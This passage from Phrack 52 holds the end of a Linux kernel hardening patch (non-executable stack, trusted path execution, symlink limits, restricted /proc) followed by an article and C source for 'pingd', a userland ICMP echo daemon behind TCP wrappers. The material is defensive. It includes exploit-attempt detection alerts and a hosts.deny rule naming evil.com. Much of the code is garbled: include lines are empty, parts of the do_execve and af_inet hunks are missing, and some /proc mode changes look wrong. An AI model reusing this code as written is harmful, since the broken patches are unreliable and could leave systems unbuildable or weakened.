+ regs->esp += 8;
+ __asm__("movl %3,%%esi;"
+ "subl %1,%%esp;"
+ "movl %2,%%ecx;"
+ "movl %%esp,%%edi;"
+ "cld; rep; movsl;"
+ "call sys_sigreturn;"
+ "leal %3,%%edi;"
+ "addl %1,%%edi;"
+ "movl %%esp,%%esi;"
+ "movl (%%edi),%%edi;"
+ "movl %2,%%ecx;"
+ "cld; rep; movsl;"
+ "movl %%esi,%%esp"
+ :
+/* %eax is returned separately */
+ "=a" (regs->eax)
+ :
+ "i" (sizeof(*regs)),
+ "i" (sizeof(*regs) >> 2),
+ "m" (regs)
+ :
+ "cx", "dx", "si", "di", "cc", "memory");
+ return;
+ }
+
+#ifdef CONFIG_STACKEXEC_LOG
+/*
+ * Check if we're returning to the stack area, which is only likely to happen
+ * when attempting to exploit a buffer overflow.
+ */
+ else if (regs->cs == USER_CS &&
+ (retaddr & 0xF0000000) == 0xB0000000)
+ security_alert("buffer overflow");
+#endif
+#endif
+
die_if_kernel("general protection",regs,error_code);
+
+#if defined(CONFIG_STACKEXEC) && defined(CONFIG_STACKEXEC_AUTOENABLE)
+/*
+ * Switch to the original huge code segment (and allow code execution on the
+ * stack for this entire process), if the faulty instruction is a call %reg,
+ * except for call %esp.
+ */
+ if (regs->cs == USER_CS)
+ if (get_seg_byte(USER_DS, (char *)regs->eip) == 0xFF &&
+ (get_seg_byte(USER_DS, (char *)(regs->eip + 1)) & 0xD8) == 0xD0 &&
+ get_seg_byte(USER_DS, (char *)(regs->eip + 1)) != 0xD4) {
+ current->flags |= PF_STACKEXEC;
+ regs->cs = USER_HUGE_CS; regs->ss = USER_HUGE_SS;
+ return;
+ }
+#endif
+
current->tss.error_code = error_code;
current->tss.trap_no = 13;
force_sig(SIGSEGV, current);
diff -ru linux-stock/arch/i386/mm/fault.c linux-patched/arch/i386/mm/fault.c
--- linux-stock/arch/i386/mm/fault.c Sat Aug 16 22:21:20 1997
+++ linux-patched/arch/i386/mm/fault.c Sun Nov 9 00:55:50 1997
@@ -44,6 +44,7 @@
unsigned long page;
int write;
+ if ((regs->cs & 3) >= 2) error_code |= 4;
/* get the address */
__asm__("movl %%cr2,%0":"=r" (address));
down(&mm->mmap_sem);
diff -ru linux-stock/fs/binfmt_aout.c linux-patched/fs/binfmt_aout.c
--- linux-stock/fs/binfmt_aout.c Wed Oct 15 14:56:43 1997
+++ linux-patched/fs/binfmt_aout.c Tue Nov 11 00:38:48 1997
@@ -315,6 +315,7 @@
current->suid = current->euid = current->fsuid = bprm->e_uid;
current->sgid = current->egid = current->fsgid = bprm->e_gid;
current->flags &= ~PF_FORKNOEXEC;
+ if (N_FLAGS(ex) & F_STACKEXEC) current->flags |= PF_STACKEXEC;
if (N_MAGIC(ex) == OMAGIC) {
#ifdef __alpha__
do_mmap(NULL, N_TXTADDR(ex) & PAGE_MASK,
diff -ru linux-stock/fs/binfmt_elf.c linux-patched/fs/binfmt_elf.c
--- linux-stock/fs/binfmt_elf.c Wed Oct 15 14:56:43 1997
+++ linux-patched/fs/binfmt_elf.c Tue Nov 11 01:02:05 1997
@@ -55,7 +55,10 @@
#define ELF_PAGESTART(_v) ((_v) & ~(unsigned long)(ELF_EXEC_PAGESIZE-1))
#define ELF_PAGEOFFSET(_v) ((_v) & (ELF_EXEC_PAGESIZE-1))
-static struct linux_binfmt elf_format = {
+#ifndef CONFIG_STACKEXEC
+static
+#endif
+struct linux_binfmt elf_format = {
#ifndef MODULE
NULL, NULL, load_elf_binary, load_elf_library, elf_core_dump
#else
@@ -662,6 +665,7 @@
current->suid = current->euid = current->fsuid = bprm->e_uid;
current->sgid = current->egid = current->fsgid = bprm->e_gid;
current->flags &= ~PF_FORKNOEXEC;
+ if (elf_ex.e_flags & EF_STACKEXEC) current->flags |= PF_STACKEXEC;
bprm->p = (unsigned long)
create_elf_tables((char *)bprm->p,
bprm->argc,
diff -ru linux-stock/fs/exec.c linux-patched/fs/exec.c
--- linux-stock/fs/exec.c Wed Oct 15 14:56:43 1997
+++ linux-patched/fs/exec.c Tue Nov 11 12:59:51 1997
@@ -475,6 +475,8 @@
}
current->comm[i] = '\0';
+ current->flags &= ~PF_STACKEXEC;
+
/* Release all of the old mmap stuff. */
if (exec_mmap())
return -ENOMEM;
@@ -650,12 +652,30 @@
int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)
{
struct linux_binprm bprm;
+ struct inode *dir;
+ const char *basename;
+ int namelen;
int retval;
int i;
bprm.p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
for (i=0 ; ii_mode & (S_IWGRP | S_IWOTH) || dir->i_uid)
+ {
+#ifdef CONFIG_TPE_LOG
+ security_alert("Trusted path execution violation");
+#endif /* CONFIG_TPE_LOG */
+ return -EACCES;
+ }
+#endif /* CONFIG_TPE */
retval = open_namei(filename, 0, 0, &bprm.inode, NULL);
if (retval)
return retval;
diff -ru linux-stock/fs/namei.c linux-patched/fs/namei.c
--- linux-stock/fs/namei.c Sat Aug 16 16:23:19 1997
+++ linux-patched/fs/namei.c Tue Nov 11 00:44:51 1997
@@ -19,6 +19,7 @@
#include
#include
#include
+#include
#define ACC_MODE(x) ("\000\004\002\006"[(x)&O_ACCMODE])
@@ -207,6 +208,23 @@
*res_inode = inode;
return 0;
}
+#ifdef CONFIG_SYMLINK_FIX
+/*
+ * Don't follow links that we don't own in +t directories, unless the link
+ * is owned by root.
+ */
+ if (S_ISLNK(inode->i_mode) && (dir->i_mode & S_ISVTX) &&
+ inode->i_uid &&
+ current->fsuid != inode->i_uid) {
+#ifdef CONFIG_SYMLINK_LOG
+ security_alert("symlink");
+#endif
+ iput(dir);
+ iput(inode);
+ *res_inode = NULL;
+ return -EPERM;
+ }
+#endif
return inode->i_op->follow_link(dir,inode,flag,mode,res_inode);
}
@@ -216,8 +234,13 @@
* dir_namei() returns the inode of the directory of the
* specified name, and the name within that directory.
*/
+#ifdef CONFIG_TPE
+int dir_namei(const char *pathname, int *namelen, const char **name,
+ struct inode * base, struct inode **res_inode)
+#else
static int dir_namei(const char *pathname, int *namelen, const char **name,
struct inode * base, struct inode **res_inode)
+#endif /* CONFIG_TPE */
{
char c;
const char * thisname;
@@ -787,6 +810,22 @@
iput(dir);
return -EPERM;
}
+#ifdef CONFIG_SYMLINK_FIX
+/*
+ * Don't allow non-root users to create hard links to files they don't own
+ * in a +t directory.
+ */
+ if ((dir->i_mode & S_ISVTX) &&
+ current->fsuid != oldinode->i_uid &&
+ !fsuser()) {
+#ifdef CONFIG_SYMLINK_LOG
+ security_alert("hard link");
+#endif
+ iput(oldinode);
+ iput(dir);
+ return -EPERM;
+ }
+#endif
if (IS_RDONLY(dir)) {
iput(oldinode);
iput(dir);
diff -ru linux-stock/fs/proc/base.c linux-patched/fs/proc/base.c
--- linux-stock/fs/proc/base.c Wed Feb 21 01:26:09 1996
+++ linux-patched/fs/proc/base.c Sun Nov 9 10:53:19 1997
@@ -74,7 +74,11 @@
*/
struct proc_dir_entry proc_pid = {
PROC_PID_INO, 5, "",
- S_IFDIR | S_IRUGO | S_IXUGO, 2, 0, 0,
+#ifdef CONFIG_PROC_RESTRICT
+ S_IFDIR | S_IRUSR | S_IXUSR, 2, 0, 0,
+#else
+ S_IFDIR | S_IRUGO | S_IXUGO, 2, 0, 0,
+#endif /* CONFIG_PROC_RESTRICT */
0, &proc_base_inode_operations,
NULL, proc_pid_fill_inode,
NULL, &proc_root, NULL
diff -ru linux-stock/fs/proc/inode.c linux-patched/fs/proc/inode.c
--- linux-stock/fs/proc/inode.c Sat Nov 30 02:21:21 1996
+++ linux-patched/fs/proc/inode.c Sun Nov 9 10:58:06 1997
@@ -153,7 +153,11 @@
if (!p || i >= NR_TASKS)
return;
if (ino == PROC_ROOT_INO) {
- inode->i_mode = S_IFDIR | S_IRUGO | S_IXUGO;
+#ifdef CONFIG_PROC_RESTRICT
+ inode->i_mode = S_IFDIR | S_IRUSR | S_IXUSR;
+#else
+ inode->i_mode = S_IFDIR | S_IRUGO | S_IXUGO;
+#endif /* CONFIG_PROC_RESTRICT */
inode->i_nlink = 2;
for (i = 1 ; i < NR_TASKS ; i++)
if (task[i])
@@ -171,7 +175,11 @@
inode->i_nlink = 2;
break;
case PROC_SCSI:
+#ifdef CONFIG_PROC_RESTRICT
+ inode->i_mode = S_IFDIR | S_IRUSR | S_IXUSR;
+#else
inode->i_mode = S_IFDIR | S_IRUGO | S_IXUGO;
+#endif /* CONFIG_PROC_RESTRICT */
inode->i_nlink = 2;
inode->i_op = &proc_scsi_inode_operations;
break;
@@ -181,7 +189,11 @@
inode->i_size = (MAP_NR(high_memory) << PAGE_SHIFT) + PAGE_SIZE;
break;
case PROC_PROFILE:
- inode->i_mode = S_IFREG | S_IRUGO | S_IWUSR;
+#ifdef CONFIG_PROC_RESTRICT
+ inode->i_mode = S_IFDIR | S_IRUSR | S_IXUSR;
+#else
+ inode->i_mode = S_IFDIR | S_IRUGO | S_IXUGO;
+#endif /* CONFIG_PROC_RESTRICT */
inode->i_op = &proc_profile_inode_operations;
inode->i_size = (1+prof_len) * sizeof(unsigned long);
break;
@@ -203,7 +215,11 @@
return;
case PROC_PID_MEM:
inode->i_op = &proc_mem_inode_operations;
- inode->i_mode = S_IFREG | S_IRUSR | S_IWUSR;
+#ifdef CONFIG_PROC_RESTRICT
+ inode->i_mode = S_IFDIR | S_IRUSR | S_IXUSR;
+#else
+ inode->i_mode = S_IFDIR | S_IRUGO | S_IXUGO;
+#endif /* CONFIG_PROC_RESTRICT */
return;
case PROC_PID_CWD:
case PROC_PID_ROOT:
diff -ru linux-stock/include/asm-i386/processor.h linux-patched/include/asm-i386/processor.h
--- linux-stock/include/asm-i386/processor.h Tue Mar 11 13:52:29 1997
+++ linux-patched/include/asm-i386/processor.h Tue Nov 11 00:47:04 1997
@@ -9,6 +9,8 @@
#include
#include
+#include
+#include
/*
* System setup and hardware bug flags..
@@ -41,6 +43,15 @@
*/
#define TASK_SIZE (0xC0000000UL)
+#if defined(CONFIG_STACKEXEC) && defined(CONFIG_BINFMT_ELF)
+extern struct linux_binfmt elf_format;
+#define MMAP_ADDR ( \
+ current->binfmt == &elf_format && \
+ !(current->flags & PF_STACKEXEC) \
+ ? 0x00110000UL \
+ : TASK_SIZE / 3 )
+#endif
+
/*
* Size of io_bitmap in longwords: 32 is ports 0-0x3ff.
*/
@@ -134,14 +145,6 @@
#define alloc_kernel_stack() __get_free_page(GFP_KERNEL)
#define free_kernel_stack(page) free_page((page))
-static inline void start_thread(struct pt_regs * regs, unsigned long eip, unsigned long esp)
-{
- regs->cs = USER_CS;
- regs->ds = regs->es = regs->ss = regs->fs = regs->gs = USER_DS;
- regs->eip = eip;
- regs->esp = esp;
-}
-
/*
* Return saved PC of a blocked thread.
*/
@@ -151,3 +154,25 @@
}
#endif /* __ASM_I386_PROCESSOR_H */
+
+#if defined(current) && !defined(__START_THREAD)
+#define __START_THREAD
+
+static inline void start_thread(struct pt_regs * regs, unsigned long eip, unsigned long esp)
+{
+#ifdef CONFIG_STACKEXEC
+ if (current->flags & PF_STACKEXEC) {
+ regs->cs = USER_HUGE_CS; regs->ss = USER_HUGE_SS;
+ } else {
+ regs->cs = USER_CS; regs->ss = USER_DS;
+ }
+ regs->ds = regs->es = regs->fs = regs->gs = USER_DS;
+#else
+ regs->cs = USER_CS;
+ regs->ds = regs->es = regs->fs = regs->gs = regs->ss = USER_DS;
+#endif
+ regs->eip = eip;
+ regs->esp = esp;
+}
+
+#endif /* __START_THREAD */
diff -ru linux-stock/include/asm-i386/segment.h linux-patched/include/asm-i386/segment.h
--- linux-stock/include/asm-i386/segment.h Tue Apr 9 00:35:29 1996
+++ linux-patched/include/asm-i386/segment.h Tue Nov 11 00:47:13 1997
@@ -1,11 +1,27 @@
#ifndef _ASM_SEGMENT_H
#define _ASM_SEGMENT_H
+#include
+
#define KERNEL_CS 0x10
#define KERNEL_DS 0x18
#define USER_CS 0x23
#define USER_DS 0x2B
+
+#ifdef CONFIG_STACKEXEC
+#define USER_HUGE_CS 0x32
+#define USER_HUGE_SS 0x3A
+#else
+#define USER_HUGE_CS 0x23
+#define USER_HUGE_SS 0x2B
+#endif
+
+/*
+ * Magic address to return to the kernel from signal handlers, any address
+ * beyond user code segment limit will do.
+ */
+#define MAGIC_SIGRETURN 0xC1428571
#ifndef __ASSEMBLY__
diff -ru linux-stock/include/linux/a.out.h linux-patched/include/linux/a.out.h
--- linux-stock/include/linux/a.out.h Sat Aug 17 11:19:28 1996
+++ linux-patched/include/linux/a.out.h Tue Nov 11 00:47:21 1997
@@ -37,6 +37,9 @@
M_MIPS2 = 152, /* MIPS R6000/R4000 binary */
};
+/* Constants for the N_FLAGS field */
+#define F_STACKEXEC 1 /* Executable stack area forced */
+
#if !defined (N_MAGIC)
#define N_MAGIC(exec) ((exec).a_info & 0xffff)
#endif
diff -ru linux-stock/include/linux/elf.h linux-patched/include/linux/elf.h
--- linux-stock/include/linux/elf.h Sat Aug 10 00:03:15 1996
+++ linux-patched/include/linux/elf.h Tue Nov 11 00:47:39 1997
@@ -57,6 +57,9 @@
*/
#define EM_ALPHA 0x9026
+/* Constants for the e_flags field */
+#define EF_STACKEXEC 1 /* Executable stack area forced */
+
/* This is the info that is needed to parse the dynamic section of the file */
#define DT_NULL 0
diff -ru linux-stock/include/linux/kernel.h linux-patched/include/linux/kernel.h
--- linux-stock/include/linux/kernel.h Thu Aug 14 10:05:47 1997
+++ linux-patched/include/linux/kernel.h Tue Nov 11 00:47:44 1997
@@ -78,6 +78,27 @@
(((addr) >> 16) & 0xff), \
(((addr) >> 24) & 0xff)
+#define security_alert(msg) { \
+ static unsigned long warning_time = 0, no_flood_yet = 0; \
+\
+/* Make sure at least one minute passed since the last warning logged */ \
+ if (!warning_time || jiffies - warning_time > 60 * HZ) { \
+ warning_time = jiffies; no_flood_yet = 1; \
+ printk( \
+ KERN_ALERT \
+ "Possible " msg " exploit attempt:\n" \
+ KERN_ALERT \
+ "Process %s (pid %d, uid %d, euid %d).\n", \
+ current->comm, current->pid, \
+ current->uid, current->euid); \
+ } else if (no_flood_yet) { \
+ warning_time = jiffies; no_flood_yet = 0; \
+ printk( \
+ KERN_ALERT \
+ "More possible " msg " exploit attempts follow.\n"); \
+ } \
+}
+
#endif /* __KERNEL__ */
#define SI_LOAD_SHIFT 16
diff -ru linux-stock/include/linux/sched.h linux-patched/include/linux/sched.h
--- linux-stock/include/linux/sched.h Wed Oct 15 15:22:05 1997
+++ linux-patched/include/linux/sched.h Tue Nov 11 00:47:48 1997
@@ -269,6 +269,8 @@
#define PF_USEDFPU 0x00100000 /* Process used the FPU this quantum (SMP only) */
#define PF_DTRACE 0x00200000 /* delayed trace (used on m68k) */
+#define PF_STACKEXEC 0x01000000 /* Executable stack area forced */
+
/*
* Limit the stack by to some sane default: root can always
* increase this limit if needed.. 8MB seems reasonable.
@@ -490,6 +492,9 @@
#define for_each_task(p) \
for (p = &init_task ; (p = p->next_task) != &init_task ; )
+
+/* x86 start_thread() */
+#include
#endif /* __KERNEL__ */
diff -ru linux-stock/kernel/sched.c linux-patched/kernel/sched.c
--- linux-stock/kernel/sched.c Fri Oct 17 13:17:43 1997
+++ linux-patched/kernel/sched.c Sun Nov 9 01:11:01 1997
@@ -44,7 +44,11 @@
* kernel variables
*/
+#ifdef CONFIG_SECURE_ON
+int securelevel = 1; /* system security level */
+#else
int securelevel = 0; /* system security level */
+#endif
long tick = (1000000 + HZ/2) / HZ; /* timer interrupt period */
volatile struct timeval xtime; /* The current time */
diff -ru linux-stock/mm/mmap.c linux-patched/mm/mmap.c
--- linux-stock/mm/mmap.c Fri Nov 22 06:25:17 1996
+++ linux-patched/mm/mmap.c Tue Nov 11 00:48:26 1997
@@ -308,7 +308,11 @@
if (len > TASK_SIZE)
return 0;
if (!addr)
+#ifdef MMAP_ADDR
+ addr = MMAP_ADDR;
+#else
addr = TASK_SIZE / 3;
+#endif
addr = PAGE_ALIGN(addr);
for (vmm = find_vma(current->mm, addr); ; vmm = vmm->vm_next) {
diff -ru linux-stock/net/ipv4/af_inet.c linux-patched/net/ipv4/af_inet.c
--- linux/net/ipv4/af_inet.c Fri Aug 15 12:23:23 1997
+++ linux-stock/net/ipv4/af_inet.c Mon Dec 29 18:05:29 1997
@@ -111,6 +111,15 @@
#define min(a,b) ((a)no_check = UDP_NO_CHECK;
prot=&udp_prot;
} else if(sock->type == SOCK_RAW || sock->type == SOCK_PACKET) {
+#ifdef CONFIG_SPLIT_GID
+ /*
+ * If we are not the super user, check to see if we have the
+ * corresponding special group priviledge.
+ */
+ if (!suser())
+ {
+ if (sock->type == SOCK_RAW && current->egid != RAW_SOCK_GID)
+ {
+ goto free_and_badperm;
+ }
+ else if (sock->type == SOCK_PACKET && current->egid != PACKET_SOCK_GID)
+ {
+ goto free_and_badperm;
+ }
+ }
+#else
if (!suser())
goto free_and_badperm;
+#endif /* CONFIG_SPLIT_GID */
if (!protocol)
goto free_and_noproto;
prot = &raw_prot;
@@ -621,7 +648,11 @@
if (snum == 0)
snum = sk->prot->good_socknum();
if (snum < PROT_SOCK) {
+#ifdef CONFIG_SPLIT_GID
+ if (!suser() && current->egid != PROT_SOCK_GID)
+#else
if (!suser())
+#endif /* CONFIG_SPLIT_GID */
return(-EACCES);
if (snum == 0)
return(-EAGAIN);
----[ EOF
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 07 of 20
-------------------------[ Linux Ping Daemon
--------[ route|daemon9
----[ Introduction and Impetus
I have an idea. How about we rip ICMP_ECHO support from the kernel? How
about we employ a userland daemon that controls ICMP_ECHO reflection via TCP
wrapper access control? (Actually, this idea was originally (c) Asriel, who
did the 44BSD version. http://www.enteract.com/~tqbf/goodies.html. He just
asked me to do the linux version.)
The bastard son of this idea is pingd. A cute userland daemon that
handles all ICMP_ECHO and ICMP_ECHOREPLY traffic. The engine is simple. A
raw ICMP socket under Linux gets a copy of every ICMP datagram delivered to
the IP module (assuming the IP datagram is destined for an interface on that
host). We simply remove support of ICMP_ECHO processing from the kernel and
erect a userland daemon with a raw ICMP socket to handle these packets.
Once we have the packet, we do some basic sanity checks such as packet
type and code, and packet size. Next, we pass the packet to the authentication
mechanism where it is checked against the access control list. If the packet
is allowed, we send a response, otherwise we drop it on the floor.
The rule for this project was primarily security and then efficiency. The
next version will have an option to send ICMP_HOST_UNREACH to an offending
host. I may also at some point add some hooks for some sort of payload
content analysis (read: LOKI detection) but for now, pingd stands as is.
----[ Compilation and Installation
i. You will need libwrap and libnet. Libwrap comes with Wieste Venema's Tcp
wrapper package and is available from ftp://ftp.win.tue.nl/pub/security/.
The libnet networking library is available from:
http://www.infonexus.com/~daemon9/Projects/libnet.tar.gz.
ii. Build and install both libraries according to their respective instructions.
1. Build the program and apply the kernel patch.
`make all` OR (`make pingd` AND `make patch`)
1a. Recompile your kernel. It is NOT necessary to make {config, dep, clean}.
It is only necessary to:
`make; make install`
(or the equivalent).
2. Test the daemon. Ensure that there are no wrapper entries in the
/etc/hosts.{deny, allow} and start the daemon in debug mode.
`./pingd -d1` and then `ping 0`
3. Edit your TCP wrapper access control files. Simply add a new service
(ping) and the IP addresses you want to allow or deny:
`cat >> /etc/hosts.deny`
ping : evil.com
^D
4. Install the program and add it to your /etc/rc.d/rc/local:
`make install`
----[ Empirical Data
This is slower then doing it in the kernel. Especially on localhost. How
about that. Remotely, the RTT's are about .7 - .9 ms longer with a concise
/etc/hosts.{allow,deny}. This is the price you pay for a more secure
implementation. All the hosts are on the same 10MB network, with
approximately the same speed NICs.
The following Linux machine has a normal kernel-based ICMP_ECHO reflector
mechanism:
resentment:~/# ping 192.168.2.34
PING 192.168.2.34 (192.168.2.34): 56 data bytes
64 bytes from 192.168.2.34: icmp_seq=0 ttl=64 time=0.8 ms
64 bytes from 192.168.2.34: icmp_seq=1 ttl=64 time=0.6 ms
64 bytes from 192.168.2.34: icmp_seq=2 ttl=64 time=0.8 ms
--- 192.168.2.34 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.6/0.7/0.8 ms
This machine is running pingd compiled with DLOG (and has no kernel
ICMP_ECHO support):
resentment:~/# ping 192.168.2.35
PING 192.168.2.35 (192.168.2.35): 56 data bytes
64 bytes from 192.168.2.35: icmp_seq=0 ttl=64 time=1.5 ms
64 bytes from 192.168.2.35: icmp_seq=1 ttl=64 time=1.4 ms
64 bytes from 192.168.2.35: icmp_seq=2 ttl=64 time=1.3 ms
--- 192.168.2.35 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 1.3/1.4/1.5 ms
Stress-test of the same host (not recommended to do with debugging on):
torment# /sbin/ping -f -c 10000 192.168.2.35
PING 192.168.2.35 (192.168.2.35): 56 data bytes
............................................................................
--- 192.168.2.35 ping statistics ---
10088 packets transmitted, 10000 packets received, 0% packet loss
round-trip min/avg/max = 0.985/36.790/86.075 ms
resentment:~# ping -f -c 10000 192.168.2.35
PING 192.168.2.35 (192.168.2.35): 56 data bytes
..
--- 192.168.2.35 ping statistics ---
10001 packets transmitted, 10000 packets received, 0% packet loss
round-trip min/avg/max = 1.0/1.2/17.4 ms
An example of the wrapper log:
Jan 16 18:23:03 shattered pingd: started: 997
Jan 16 18:24:52 shattered pingd: ICMP_ECHO allowed by wrapper
(64 bytes from 192.168.2.38)
Jan 16 18:24:54 shattered last message repeated 2 times
Jan 16 18:26:50 shattered pingd: ICMP_ECHO allowed by wrapper
(64 bytes from 192.168.2.37)
Jan 16 18:26:58 shattered last message repeated 10087 times
Jan 16 18:30:09 shattered pingd: ICMP_ECHO allowed by wrapper
(64 bytes from 192.168.2.38)
Jan 16 18:30:19 shattered last message repeated 10000 times
Jan 16 18:47:30 shattered pingd: ICMP_ECHO denied by wrapper
(64 bytes from 192.168.2.34)
Jan 16 18:47:32 shattered last message repeated 2 times
Jan 16 18:48:16 shattered pingd: packet too large
(10008 bytes from 192.168.2.38)
Jan 16 18:48:17 shattered last message repeated 2 times
----[ The code
Pingd/Makefile
# linux pingd Makefile
# daemon9|route
# Define this if you want syslog logging of ICMP_ECHO traffic. This slows
# slow down daemon response time a bit.
# default: enabled.
DEFINES = -DLOG
CC = gcc
VER = 0.1
NETSRC = /usr/src/linux/net/ipv4
INSTALL_LOC = /usr/sbin
PINGD = pingd
LIBS = -lnet -lwrap
DEFINES += -D__BSD_SOURCE
CFLAGS = -O3 -funroll-loops -fomit-frame-pointer -pipe -m486 -Wall
OBJECTS = pingd.o
.c.o:
$(CC) $(CFLAGS) $(DEFINES) -c $< -o $@
pingd: $(OBJECTS)
$(CC) $(CFLAGS) $(OBJECTS) -o pingd $(LIBS)
strip pingd
all: patch pingd
patch:
@(/usr/bin/patch -d $(NETSRC) < patchfile)
@(echo "Patchfile installed")
@(echo "You must now recompile your kernel")
@(echo "")
install: pingd
(install -m755 $(PINGD) $(INSTALL_LOC))
(echo "" >> /etc/rc.d/rc.local)
(echo "echo \"Starting ping daemon\"" >> /etc/rc.d/rc.local)
(echo "$(INSTALL_LOC)/$(PINGD)" >> /etc/rc.d/rc.local)
dist: clean
@(cd ..; rm pingd-$(VER).tgz; tar cvzf pingd-$(VER).tgz Pingd/)
clean:
rm -f *.o core pingd
# EOF
Pingd/pingd.h
/*
* $Id$
*
* Linux pingd sourcefile
* pingd.h - function prototypes, global data structures, and macros
* Copyright (c) 1998 by daemon9|route (route@infonexus.com)
*
*
*
*/
#ifndef _PINGD_H
#define _PINGD_H
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define NOBODY "nobody" /* Nobody pwnam */
#define STRING_UNKNOWN "unknown" /* From tcpd.h */
#define HEADER_MATERIAL 28 /* ICMP == 8 bytes, IP == 20 bytes */
#define MAX_PAYLOAD 8096 /* Out of thin air */
struct icmp_packet
{
struct ip iph;
struct icmphdr icmph;
u_char payload[MAX_PAYLOAD];
};
/* F U N C T I O N P R O T O T Y P E S */
void
usage(
char * /* pointer to argv[0] */
);
int /* 1 if the packet is allowed, 0 if denied */
verify(
struct icmp_packet * /* pointer to the ICMP packet in question */
);
void
icmp_reflect(
struct icmp_packet *, /* pointer to the ICMP packet in question */
int /* socket file descriptor */
);
int /* 1 if access is granted, 0 if denied */
hosts_ctl(
char *, /* daemon name */
char *, /* client name (canonical) */
char *, /* client address (dots 'n' decimals) */
char * /* client user (unused) */
);
#endif /* _PINGD_H */
/* EOF */
Pingd/pingd.c
/*
* $Id$
*
* Linux pingd sourcefile
* ping.c - main sourcefile
* Copyright (c) 1998 by daemon9|route
*
*
*
* $Log$
*/
#include "pingd.h"
int d = 0; /* Debuging level (defaults off) */
int max_packet = 1024; /* Maximum packet size (default) */
int
main(int argc, char **argv)
{
int sock_fd, c;
struct icmp_packet i_pack;
struct passwd *pwd_p;
/*
* Make sure we have UID 0.
*/
if (geteuid() || getuid())
{
fprintf(stderr, "Inadequate privledges\n");
exit(1);
}
/*
* Open a raw ICMP socket and set IP_HDRINCL.
*/
if ((sock_fd = open_raw_sock(IPPROTO_ICMP)) == -1)
{
perror("socket allocation");
exit(1);
}
/*
* Now that we have the raw socket, we no longer need root privledges
* so we drop our UID to nobody.
*/
if (!(pwd_p = getpwnam(NOBODY)))
{
fprintf(stderr, "Can't get pwnam info on nobody");
exit(1);
}
else if (setuid(pwd_p->pw_uid) == -1)
{
perror("Can't drop privledges");
exit(1);
}
while((c = getopt(argc, argv, "d:s:")) != EOF)
{
switch (c)
{
case 'd':
d = atoi(optarg);
break;
case 's':
max_packet = atoi(optarg);
break;
default:
usage(argv[0]);
}
}
if (!d) daemon();
if (d) fprintf(stderr, "Max packetsize of %d bytes\n", max_packet);
#ifdef LOG
openlog("pingd", 0, 0);
syslog(LOG_DAEMON|LOG_INFO, "started: %d", getpid());
#endif /* LOG */
/*
* We're powered up. From here on out, everything should run swimmingly.
*/
for (;;)
{
bzero(&i_pack, sizeof(i_pack));
c = recv(sock_fd, (struct icmp_packet *)&i_pack, sizeof(i_pack), 0);
if (c == -1)
{
if (d) fprintf(stderr, "truncated read: %s", strerror(errno));
continue;
}
/*
* Make sure packet isn't too small or too big.
*/
if (c < HEADER_MATERIAL || c > max_packet)
{
#ifdef LOG
syslog(
LOG_DAEMON|LOG_INFO,
"bad packet size (%d bytes from %s)",
ntohs(i_pack.iph.ip_len) - sizeof(i_pack.iph),
host_lookup(i_pack.iph.ip_src.s_addr));
#endif /* LOG */
continue;
}
/*
* We only want ICMP_ECHO packets.
*/
if (i_pack.icmph.type != ICMP_ECHO) continue;
else if (d)
fprintf(stderr,
"%d byte ICMP_ECHO from %s\n",
ntohs(i_pack.iph.ip_len) - sizeof(i_pack.iph),
host_lookup(i_pack.iph.ip_src.s_addr));
/*
* Pass packet to the access control mechanism.
*/
if (!verify(&i_pack))
{
#ifdef LOG
syslog(
LOG_DAEMON|LOG_INFO,
"ICMP_ECHO denied by wrapper (%d bytes from %s)",
ntohs(i_pack.iph.ip_len) - sizeof(i_pack.iph),
host_lookup(i_pack.iph.ip_src.s_addr));
#endif /* LOG */
}
else
{
#ifdef LOG
syslog(
LOG_DAEMON|LOG_INFO,
"ICMP_ECHO allowed by wrapper (%d bytes from %s)",
ntohs(i_pack.iph.ip_len) - sizeof(i_pack.iph),
host_lookup(i_pack.iph.ip_src.s_addr));
#endif /* LOG */
icmp_reflect(&i_pack, sock_fd);
}
}
}
void
icmp_reflect(struct icmp_packet *p_ptr, int sock_fd)
{
int c;
u_long tmp;
struct sockaddr_in sin;
bzero((struct sockaddr_in *)&sin, sizeof(sin));
/*
* Formulate ICMP_ECHOREPLY response packet. All we do change the
* packet type and flip the IP addresses. This avoids a copy.
*/
tmp = p_ptr->iph.ip_dst.s_addr;
p_ptr->iph.ip_dst.s_addr = p_ptr->iph.ip_src.s_addr;
p_ptr->iph.ip_src.s_addr = tmp;
p_ptr->icmph.type = ICMP_ECHOREPLY;
p_ptr->icmph.checksum = 0;
p_ptr->icmph.checksum =
ip_check((u_short *)&p_ptr->icmph,
ntohs(p_ptr->iph.ip_len) - sizeof(struct ip));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = p_ptr->iph.ip_dst.s_addr;
c = sendto(sock_fd,
(struct icmp_packet *)p_ptr,
ntohs(p_ptr->iph.ip_len),
0,
(struct sockaddr *) &sin, sizeof(sin));
if (c != ntohs(p_ptr->iph.ip_len))
{
if (d) perror("truncated write");
return;
}
else if (d) fprintf(stderr, "ICMP_ECHOREPLY sent\n");
}
int
verify(struct icmp_packet *p_ptr)
{
if (!hosts_ctl("ping",
host_lookup(p_ptr->iph.ip_src.s_addr),
host_lookup(p_ptr->iph.ip_src.s_addr),
STRING_UNKNOWN))
return (0);
else return (1);
}
void
usage(char *argv0)
{
fprintf(stderr, "usage: %s [-d 1|0 ] [-s maxpacketsize] \n",argv0);
exit(0);
}
/* EOF */
Pingd/patchfile
--- /usr/src/linux/net/ipv4/icmp.c.original Sat Jan 10 11:10:36 1998
+++ /usr/src/linux/net/ipv4/icmp.c Sat Jan 10 11:19:23 1998
@@ -42,7 +42,8 @@
* Elliot Poger : Added support for SO_BINDTODEVICE.
* Willy Konynenberg : Transparent proxy adapted to new
* socket hash code.
- *
+ * route : 1.10.98: ICMP_ECHO / ICMP_ECHOREQUEST
+ * support into userland.
*
* RFC1122 (Host Requirements -- Comm. Layer) Status:
* (boy, are there a lot of rules for ICMP)
@@ -882,28 +883,6 @@
kfree_skb(skb, FREE_READ);
}
-/*
- * Handle ICMP_ECHO ("ping") requests.
- *
- * RFC 1122: 3.2.2.6 MUST have an echo server that answers ICMP echo requests.
- * RFC 1122: 3.2.2.6 Data received in the ICMP_ECHO request MUST be included in the reply.
